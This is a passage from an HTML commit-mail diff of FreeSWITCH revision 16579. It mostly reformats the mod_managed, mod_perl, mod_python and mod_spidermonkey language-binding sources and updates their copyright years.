-        struct switch_ivr_menu_xml_ctx {char foo[];};
-        struct apr_file_t {char foo[];};
-        struct apr_thread_rwlock_t {char foo[];};
-        struct apr_pollfd_t {char foo[];};
-        struct apr_queue_t {char foo[];};
-        struct apr_socket_t {char foo[];};
</del><ins>+        struct switch_core_session {
+        char foo[];
+};
+struct apr_pool_t {
+        char foo[];
+};
+struct switch_channel {
+        char foo[];
+};
+struct apr_thread_t {
+        char foo[];
+};
+struct switch_hash {
+        char foo[];
+};
+struct apr_thread_mutex_t {
+        char foo[];
+};
+struct switch_network_list {
+        char foo[];
+};
+struct switch_xml_binding {
+        char foo[];
+};
+struct apr_sockaddr_t {
+        char foo[];
+};
+struct switch_core_port_allocator {
+        char foo[];
+};
+struct switch_media_bug {
+        char foo[];
+};
+struct switch_rtp {
+        char foo[];
+};
+struct sqlite3_stmt {
+        char foo[];
+};
+struct switch_buffer {
+        char foo[];
+};
+struct switch_ivr_menu {
+        char foo[];
+};
+struct switch_event_node {
+        char foo[];
+};
+struct switch_ivr_digit_stream_parser {
+        char foo[];
+};
+struct sqlite3 {
+        char foo[];
+};
+struct switch_ivr_digit_stream {
+        char foo[];
+};
+struct real_pcre {
+        char foo[];
+};
+struct HashElem {
+        char foo[];
+};
+struct switch_ivr_menu_xml_ctx {
+        char foo[];
+};
+struct apr_file_t {
+        char foo[];
+};
+struct apr_thread_rwlock_t {
+        char foo[];
+};
+struct apr_pollfd_t {
+        char foo[];
+};
+struct apr_queue_t {
+        char foo[];
+};
+struct apr_socket_t {
+        char foo[];
+};
</ins><span class="cx"> // LNK Error
</span><span class="cx"> 
</span><span class="cx"> using namespace System;
</span><span class="cx"> using namespace System::Reflection;
</span><span class="cx"> using namespace System::Runtime::InteropServices;
</span><span class="cx"> 
</span><del>-public ref class FreeSwitchManaged
-{
-public:
-        static Assembly^ mod_dotnet_managed;
-        static MethodInfo^ loadMethod;
</del><ins>+public ref class FreeSwitchManaged {
+  public:
+        static Assembly ^ mod_dotnet_managed;
+        static MethodInfo ^ loadMethod;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-class ManagedSession : public CoreSession 
-{
-public:
</del><ins>+class ManagedSession:public CoreSession {
+  public:
</ins><span class="cx">         ManagedSession(void);
</span><span class="cx">         ManagedSession(char *uuid);
</span><span class="cx">         ManagedSession(switch_core_session_t *session);
</span><del>-        virtual ~ManagedSession();        
</del><ins>+        virtual ~ ManagedSession();
</ins><span class="cx"> 
</span><span class="cx">         virtual bool begin_allow_threads();
</span><span class="cx">         virtual bool end_allow_threads();
</span><span class="lines">@@ -138,8 +187,8 @@
</span><span class="cx">         virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
</span><span class="cx"> 
</span><span class="cx">         // P/Invoke function pointer to delegates
</span><del>-        inputFunction dtmfDelegate; 
-        hangupFunction hangupDelegate; 
</del><ins>+        inputFunction dtmfDelegate;
+        hangupFunction hangupDelegate;
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_perlfreeswitch_perlh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/freeswitch_perl.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -14,41 +14,39 @@
</span><span class="cx"> #include &lt;perl.h&gt;
</span><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> }
</span><del>-
</del><span class="cx"> #include &lt;switch_cpp.h&gt;
</span><del>-
</del><span class="cx"> namespace PERL {
</span><del>-class Session : public CoreSession {
- private:
-        virtual void do_hangup_hook();
-        PerlInterpreter *getPERL();
-        PerlInterpreter *my_perl;
-        int hh;
-        int mark;
-        SV *me;
- public:
-    Session();
-    Session(char *uuid, CoreSession *a_leg = NULL);
-    Session(switch_core_session_t *session);
-    ~Session();        
</del><ins>+        class Session:public CoreSession {
+          private:
+                virtual void do_hangup_hook();
+                PerlInterpreter *getPERL();
+                PerlInterpreter *my_perl;
+                int hh;
+                int mark;
+                SV *me;
+          public:
+                   Session();
+                   Session(char *uuid, CoreSession * a_leg = NULL);
+                     Session(switch_core_session_t *session);
+                                     ~Session();
</ins><span class="cx"> 
</span><del>-        virtual void destroy(void);        
-        virtual bool begin_allow_threads();
-        virtual bool end_allow_threads();
-        virtual void check_hangup_hook();
</del><ins>+                virtual void destroy(void);
+                virtual bool begin_allow_threads();
+                virtual bool end_allow_threads();
+                virtual void check_hangup_hook();
</ins><span class="cx"> 
</span><del>-        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
-        void setME(SV *p);
-        void setInputCallback(char *cbfunc = &quot;on_input&quot;, char *funcargs = NULL);
-        void unsetInputCallback(void);
-        void setHangupHook(char *func, char *arg=NULL);
-        bool ready();
-        char *suuid;
-        char *cb_function;
-        char *cb_arg;
-        char *hangup_func_str;
-        char *hangup_func_arg;
-        void setPERL(PerlInterpreter *pi);
-};
</del><ins>+                virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+                void setME(SV * p);
+                void setInputCallback(char *cbfunc = &quot;on_input&quot;, char *funcargs = NULL);
+                void unsetInputCallback(void);
+                void setHangupHook(char *func, char *arg = NULL);
+                bool ready();
+                char *suuid;
+                char *cb_function;
+                char *cb_arg;
+                char *hangup_func_str;
+                char *hangup_func_arg;
+                void setPERL(PerlInterpreter * pi);
+        };
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_perlmod_perlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/mod_perl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -282,7 +282,7 @@
</span><span class="cx">         if (po-&gt;d) {
</span><span class="cx">                 free(po);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_perlmod_perl_extrah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_perl/mod_perl_extra.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,9 +1,7 @@
</span><span class="cx"> #ifndef MOD_PERL_EXTRA
</span><span class="cx"> #define MOD_PERL_EXTRA
</span><del>-SWITCH_BEGIN_EXTERN_C
</del><ins>+SWITCH_BEGIN_EXTERN_C void mod_perl_conjure_event(PerlInterpreter * my_perl, switch_event_t *event, const char *name);
+void mod_perl_conjure_stream(PerlInterpreter * my_perl, switch_stream_handle_t *stream, const char *name);
</ins><span class="cx"> 
</span><del>-void mod_perl_conjure_event(PerlInterpreter *my_perl, switch_event_t *event, const char *name);
-void mod_perl_conjure_stream(PerlInterpreter *my_perl, switch_stream_handle_t *stream, const char *name);
-
</del><span class="cx"> SWITCH_END_EXTERN_C
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_pythonfreeswitch_pythonh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/freeswitch_python.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -5,47 +5,45 @@
</span><span class="cx"> #include &lt;Python.h&gt;
</span><span class="cx"> #include &quot;mod_python_extra.h&quot;
</span><span class="cx"> }
</span><del>-
</del><span class="cx"> #include &lt;switch_cpp.h&gt;
</span><del>-
</del><span class="cx"> namespace PYTHON {
</span><del>-class Session : public CoreSession {
- private:
-        virtual void do_hangup_hook();
-        PyObject *getPython();
-        PyObject *Py;
-        PyObject *Self;
-        int hh;
-        int mark;
-        PyThreadState *TS;
- public:
-    Session();
-    Session(char *nuuid, CoreSession *a_leg = NULL);
-    Session(switch_core_session_t *session);
-    virtual ~Session();        
-        
-        virtual bool begin_allow_threads();
-        virtual bool end_allow_threads();
-        virtual void check_hangup_hook();
-        virtual void destroy(void);
</del><ins>+        class Session:public CoreSession {
+          private:
+                virtual void do_hangup_hook();
+                PyObject *getPython();
+                PyObject *Py;
+                PyObject *Self;
+                int hh;
+                int mark;
+                PyThreadState *TS;
+          public:
+                              Session();
+                              Session(char *nuuid, CoreSession * a_leg = NULL);
+                     Session(switch_core_session_t *session);
+                                      virtual ~ Session();
</ins><span class="cx"> 
</span><del>-        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
-        void setInputCallback(PyObject *cbfunc, PyObject *funcargs = NULL);
-        void unsetInputCallback(void);
-        void setHangupHook(PyObject *pyfunc, PyObject *arg = NULL);
-        bool ready();
-        
-        PyObject *cb_function;
-        PyObject *cb_arg;
-        PyObject *hangup_func;
-        PyObject *hangup_func_arg;
</del><ins>+                virtual bool begin_allow_threads();
+                virtual bool end_allow_threads();
+                virtual void check_hangup_hook();
+                virtual void destroy(void);
</ins><span class="cx"> 
</span><del>-        /* keep a pointer to parent module, internal use only*/
-        void setPython(PyObject *state);
</del><ins>+                virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+                void setInputCallback(PyObject * cbfunc, PyObject * funcargs = NULL);
+                void unsetInputCallback(void);
+                void setHangupHook(PyObject * pyfunc, PyObject * arg = NULL);
+                bool ready();
</ins><span class="cx"> 
</span><del>-        /* keeps the PyObject * version of the Session so it can be used as args to the callback */
-        void setSelf(PyObject *state);
</del><ins>+                PyObject *cb_function;
+                PyObject *cb_arg;
+                PyObject *hangup_func;
+                PyObject *hangup_func_arg;
</ins><span class="cx"> 
</span><del>-};
</del><ins>+                /* keep a pointer to parent module, internal use only */
+                void setPython(PyObject * state);
+
+                /* keeps the PyObject * version of the Session so it can be used as args to the callback */
+                void setSelf(PyObject * state);
+
+        };
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_pythonmod_pythonc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_python/mod_python.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -61,7 +61,7 @@
</span><span class="cx"> } globals;
</span><span class="cx"> 
</span><span class="cx"> struct switch_py_thread {
</span><del>-        struct switch_py_thread *prev, *next; 
</del><ins>+        struct switch_py_thread *prev, *next;
</ins><span class="cx">         char *cmd;
</span><span class="cx">         char *args;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="lines">@@ -70,7 +70,8 @@
</span><span class="cx"> struct switch_py_thread *thread_pool_head = NULL;
</span><span class="cx"> static switch_mutex_t *THREAD_POOL_LOCK = NULL;
</span><span class="cx"> 
</span><del>-static void eval_some_python(const char *funcname, char *args, switch_core_session_t *session, switch_stream_handle_t *stream, switch_event_t *params, char **str, struct switch_py_thread *pt)
</del><ins>+static void eval_some_python(const char *funcname, char *args, switch_core_session_t *session, switch_stream_handle_t *stream, switch_event_t *params,
+                                                         char **str, struct switch_py_thread *pt)
</ins><span class="cx"> {
</span><span class="cx">         PyThreadState *tstate = NULL;
</span><span class="cx">         char *dupargs = NULL;
</span><span class="lines">@@ -103,7 +104,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         script = strdup(switch_str_nil(argv[0]));
</span><del>-        
</del><ins>+
</ins><span class="cx">         lead = 1;
</span><span class="cx"> 
</span><span class="cx">         if ((p = strstr(script, &quot;::&quot;))) {
</span><span class="lines">@@ -115,13 +116,13 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Invoking py module: %s\n&quot;, script);
</span><del>-        
</del><ins>+
</ins><span class="cx">         tstate = PyThreadState_New(mainThreadState-&gt;interp);
</span><span class="cx">         if (!tstate) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;error acquiring tstate\n&quot;);
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Save state in thread struct so we can terminate it later if needed */
</span><span class="cx">         if (pt)
</span><span class="cx">                 pt-&gt;tstate = tstate;
</span><span class="lines">@@ -146,9 +147,8 @@
</span><span class="cx">                 PyErr_Clear();
</span><span class="cx">                 goto done_swap_out;
</span><span class="cx">         }
</span><del>-
</del><span class="cx">         // get the handler function to be called
</span><del>-        function = PyObject_GetAttrString(module, (char *)funcname);
</del><ins>+        function = PyObject_GetAttrString(module, (char *) funcname);
</ins><span class="cx">         if (!function) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Module does not define %s\n&quot;, funcname);
</span><span class="cx">                 PyErr_Print();
</span><span class="lines">@@ -183,13 +183,13 @@
</span><span class="cx">         } else {
</span><span class="cx">                 arg = Py_BuildValue(&quot;(s)&quot;, switch_str_nil(argv[1]));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         // invoke the handler 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Call python script \n&quot;);
</span><span class="cx">         result = PyEval_CallObjectWithKeywords(function, arg, (PyObject *) NULL);
</span><span class="cx">         Py_DECREF(function);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Finished calling python script \n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         // check the result and print out any errors
</span><span class="cx">         if (result) {
</span><span class="cx">                 if (str) {
</span><span class="lines">@@ -204,25 +204,25 @@
</span><span class="cx">                 PyGC_Collect();
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done_swap_out:
</del><ins>+  done_swap_out:
</ins><span class="cx"> 
</span><span class="cx">         if (arg) {
</span><span class="cx">                 Py_DECREF(arg);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sp) {
</span><span class="cx">                 Py_DECREF(sp);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (tstate) {
</span><span class="cx">                 // thread state must be cleared explicitly or we'll get memory leaks
</span><span class="cx">                 PyThreadState_Clear(tstate);
</span><span class="cx">                 PyEval_ReleaseThread(tstate);
</span><span class="cx">                 PyThreadState_Delete(tstate);
</span><span class="cx">         }
</span><del>-        
- done:
</del><span class="cx"> 
</span><ins>+  done:
+
</ins><span class="cx">         switch_safe_free(dupargs);
</span><span class="cx">         switch_safe_free(script);
</span><span class="cx"> 
</span><span class="lines">@@ -231,7 +231,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_t python_fetch(const char *section,
</span><del>-                                                          const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
</del><ins>+                                                                 const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params, void *user_data)
</ins><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         switch_xml_t xml = NULL;
</span><span class="lines">@@ -300,20 +300,20 @@
</span><span class="cx">  * we must decrease the default python recursion limit accordingly.  Otherwise, python can easily blow
</span><span class="cx">  * up the stack and the whole switch crashes.  See modlang-134
</span><span class="cx">  */
</span><del>-static void set_max_recursion_depth(void) {
</del><ins>+static void set_max_recursion_depth(void)
+{
</ins><span class="cx"> 
</span><span class="cx">         // assume that a stack frame is approximately 1K, so divide thread stack size (eg, 240K) by
</span><span class="cx">         // 1K to get the approx number of stack frames we can hold before blowing up.
</span><span class="cx">         int newMaxRecursionDepth = SWITCH_THREAD_STACKSIZE / 1024;
</span><del>-        
</del><ins>+
</ins><span class="cx">         PyObject *sysModule = PyImport_ImportModule(&quot;sys&quot;);
</span><span class="cx">         PyObject *setRecursionLimit = PyObject_GetAttrString(sysModule, &quot;setrecursionlimit&quot;);
</span><del>-        PyObject *recLimit = Py_BuildValue(&quot;(i)&quot;,newMaxRecursionDepth);
</del><ins>+        PyObject *recLimit = Py_BuildValue(&quot;(i)&quot;, newMaxRecursionDepth);
</ins><span class="cx">         PyObject *setrecursion_result = PyEval_CallObjectWithKeywords(setRecursionLimit, recLimit, (PyObject *) NULL);
</span><span class="cx">         if (setrecursion_result) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Set python recursion limit to %d\n&quot;, newMaxRecursionDepth);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to set recursion limit to %d\n&quot;, newMaxRecursionDepth);
</span><span class="cx">                 PyErr_Print();
</span><span class="cx">                 PyErr_Clear();
</span><span class="lines">@@ -365,7 +365,7 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_API(api_python)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx">         eval_some_python(&quot;fsapi&quot;, (char *) cmd, session, stream, NULL, NULL, NULL);
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -430,7 +430,7 @@
</span><span class="cx"> 
</span><span class="cx">                 // initialize python system
</span><span class="cx">                 Py_Initialize();
</span><del>-                
</del><ins>+
</ins><span class="cx">                 // create GIL and a threadstate
</span><span class="cx">                 PyEval_InitThreads();
</span><span class="cx"> 
</span><span class="lines">@@ -479,12 +479,11 @@
</span><span class="cx">         pt = thread_pool_head;
</span><span class="cx">         PyEval_AcquireLock();
</span><span class="cx">         while (pt) {
</span><del>-                thread_cnt ++;
</del><ins>+                thread_cnt++;
</ins><span class="cx">                 nextpt = pt-&gt;next;
</span><del>-                
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
-                                                  &quot;Forcibly terminating script [%s]\n&quot;, pt-&gt;args);
</del><span class="cx"> 
</span><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Forcibly terminating script [%s]\n&quot;, pt-&gt;args);
+
</ins><span class="cx">                 /* Kill python script */
</span><span class="cx">                 PyThreadState_Swap(pt-&gt;tstate);
</span><span class="cx">                 PyThreadState_SetAsyncExc(pt-&gt;tstate-&gt;thread_id, PyExc_SystemExit);
</span><span class="lines">@@ -495,13 +494,12 @@
</span><span class="cx">         PyEval_ReleaseLock();
</span><span class="cx">         switch_yield(1000000);
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
-                                          &quot;Had to kill %d threads\n&quot;, thread_cnt);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Had to kill %d threads\n&quot;, thread_cnt);
</ins><span class="cx"> 
</span><span class="cx">         /* Give threads a few seconds to terminate. 
</span><span class="cx">            Not using switch_thread_join() since if threads refuse to die
</span><span class="cx">            then freeswitch will hang */
</span><del>-        for (i=0; i &lt; 10 &amp;&amp; thread_pool_head; i++) {
</del><ins>+        for (i = 0; i &lt; 10 &amp;&amp; thread_pool_head; i++) {
</ins><span class="cx">                 switch_yield(1000000);
</span><span class="cx">         }
</span><span class="cx">         if (thread_pool_head) {
</span><span class="lines">@@ -509,12 +507,10 @@
</span><span class="cx">                 pt = thread_pool_head;
</span><span class="cx">                 while (pt) {
</span><span class="cx">                         nextpt = pt-&gt;next;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
-                                                  &quot;Script [%s] didn't exit in time\n&quot;, pt-&gt;args);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Script [%s] didn't exit in time\n&quot;, pt-&gt;args);
</ins><span class="cx">                         pt = nextpt;
</span><span class="cx">                 }
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
-                                                  &quot;Forcing python shutdown. This might cause freeswitch to crash!\n&quot;);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Forcing python shutdown. This might cause freeswitch to crash!\n&quot;);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_pythonmod_python_extrac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,11 +1,9 @@
</span><del>-SWITCH_BEGIN_EXTERN_C 
-
-PyObject *mod_python_conjure_event(switch_event_t *event)
</del><ins>+SWITCH_BEGIN_EXTERN_C PyObject * mod_python_conjure_event(switch_event_t *event)
</ins><span class="cx"> {
</span><span class="cx">         PyObject *obj;
</span><span class="cx">         Event *result = new Event(event, 0);
</span><span class="cx"> 
</span><del>-        obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_POINTER_OWN );
</del><ins>+        obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Event, SWIG_POINTER_OWN);
</ins><span class="cx"> 
</span><span class="cx">         return obj;
</span><span class="cx"> }
</span><span class="lines">@@ -16,18 +14,18 @@
</span><span class="cx">         PyObject *obj;
</span><span class="cx">         Stream *result = new Stream(stream);
</span><span class="cx"> 
</span><del>-        obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Stream, SWIG_POINTER_OWN );
</del><ins>+        obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_Stream, SWIG_POINTER_OWN);
</ins><span class="cx"> 
</span><span class="cx">         return obj;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-PyObject *mod_python_conjure_session(PyObject *module, switch_core_session_t *session)
</del><ins>+PyObject *mod_python_conjure_session(PyObject * module, switch_core_session_t *session)
</ins><span class="cx"> {
</span><span class="cx">         PyObject *obj;
</span><del>-        
-        PYTHON::Session *result = new PYTHON::Session(session);
</del><ins>+
+        PYTHON::Session * result = new PYTHON::Session(session);
</ins><span class="cx">         obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_PYTHON__Session, SWIG_POINTER_OWN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         result-&gt;setPython(module);
</span><span class="cx">         result-&gt;setSelf(obj);
</span><span class="cx"> 
</span><span class="lines">@@ -39,18 +37,18 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         return obj;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> PyObject *mod_python_conjure_DTMF(char digit, int32_t duration)
</span><span class="cx"> {
</span><span class="cx">         PyObject *obj;
</span><del>-        
</del><ins>+
</ins><span class="cx">         DTMF *result = new DTMF(digit, duration);
</span><span class="cx">         obj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_DTMF, SWIG_POINTER_OWN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return obj;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_pythonmod_python_extrah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_python/mod_python_extra.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,10 +1,8 @@
</span><span class="cx"> #ifndef MOD_PYTHON_EXTRA
</span><span class="cx"> #define MOD_PYTHON_EXTRA
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-PyObject *mod_python_conjure_event(switch_event_t *event);
</del><ins>+SWITCH_BEGIN_EXTERN_C PyObject * mod_python_conjure_event(switch_event_t *event);
</ins><span class="cx"> PyObject *mod_python_conjure_stream(switch_stream_handle_t *stream);
</span><del>-PyObject *mod_python_conjure_session(PyObject *module, switch_core_session_t *session);
</del><ins>+PyObject *mod_python_conjure_session(PyObject * module, switch_core_session_t *session);
</ins><span class="cx"> PyObject *mod_python_conjure_DTMF(char digit, int32_t duration);
</span><span class="cx"> 
</span><span class="cx"> SWITCH_END_EXTERN_C
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_spidermonkeymod_spidermonkeyc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_spidermonkey/mod_spidermonkey.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -38,7 +38,7 @@
</span><span class="cx"> #include &lt;curl/curl.h&gt;
</span><span class="cx"> #endif
</span><span class="cx"> static int foo = 0;
</span><del>-static jsval check_hangup_hook(struct js_session *jss, jsval *rp);
</del><ins>+static jsval check_hangup_hook(struct js_session *jss, jsval * rp);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_spidermonkey_load);
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_spidermonkey_shutdown);
</span><span class="lines">@@ -924,7 +924,7 @@
</span><span class="cx">                 err = &quot;Could not allocate memory\n&quot;;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- err:
</del><ins>+  err:
</ins><span class="cx"> 
</span><span class="cx">         if (err || !module) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Loading module %s\n**%s**\n&quot;, filename, switch_str_nil(err));
</span><span class="lines">@@ -1104,7 +1104,7 @@
</span><span class="cx">         char var_name[SWITCH_UUID_FORMATTED_LENGTH + 25];
</span><span class="cx">         char *p;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!jss || !jss-&gt;session) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -1117,13 +1117,13 @@
</span><span class="cx"> 
</span><span class="cx">         switch_uuid_get(&amp;uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &amp;uuid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_snprintf(var_name, sizeof(var_name), &quot;__event_%s&quot;, uuid_str);
</span><del>-        for(p = var_name; p &amp;&amp; *p; p++) {
</del><ins>+        for (p = var_name; p &amp;&amp; *p; p++) {
